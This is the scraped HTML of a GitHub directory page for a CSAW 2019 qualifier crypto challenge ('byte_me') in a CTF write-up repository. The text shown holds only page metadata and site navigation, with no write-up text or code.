<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to jiafuei/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f3620d8ca3d1a6d5b9e43251697469c5a30393d123c67d57766e326c65b4a909/jiafuei/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/csaw-2019-quals/crypto/byte_me at master · jiafuei/ctf-writeups" /><meta name="twitter:description" content="Contribute to jiafuei/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f3620d8ca3d1a6d5b9e43251697469c5a30393d123c67d57766e326c65b4a909/jiafuei/ctf-writeups" /><meta property="og:image:alt" content="Contribute to jiafuei/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/csaw-2019-quals/crypto/byte_me at master · jiafuei/ctf-writeups" /><meta property="og:url" content="https://github.com/jiafuei/ctf-writeups" /><meta property="og:description" content="Contribute to jiafuei/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/jiafuei/ctf-writeups git https://github.com/jiafuei/ctf-writeups.git">
<meta name="octolytics-dimension-user_id" content="30773478" /><meta name="octolytics-dimension-user_login" content="jiafuei" /><meta name="octolytics-dimension-repository_id" content="111356349" /><meta name="octolytics-dimension-repository_nwo" content="jiafuei/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="111356349" /><meta name="octolytics-dimension-repository_network_root_nwo" content="jiafuei/ctf-writeups" />
<link rel="canonical" href="https://github.com/jiafuei/ctf-writeups/tree/master/csaw-2019-quals/crypto/byte_me" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="111356349" data-scoped-search-url="/jiafuei/ctf-writeups/search" data-owner-scoped-search-url="/users/jiafuei/search" data-unscoped-search-url="/search" data-turbo="false" action="/jiafuei/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="pbNzRIe+VLE30f8htVT/P3iEsZGfnl+nBxj4l+G0i5JlURDoIIyR45M5C5xUmYquDCnT/mF2vwUF+qm89vx2zg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
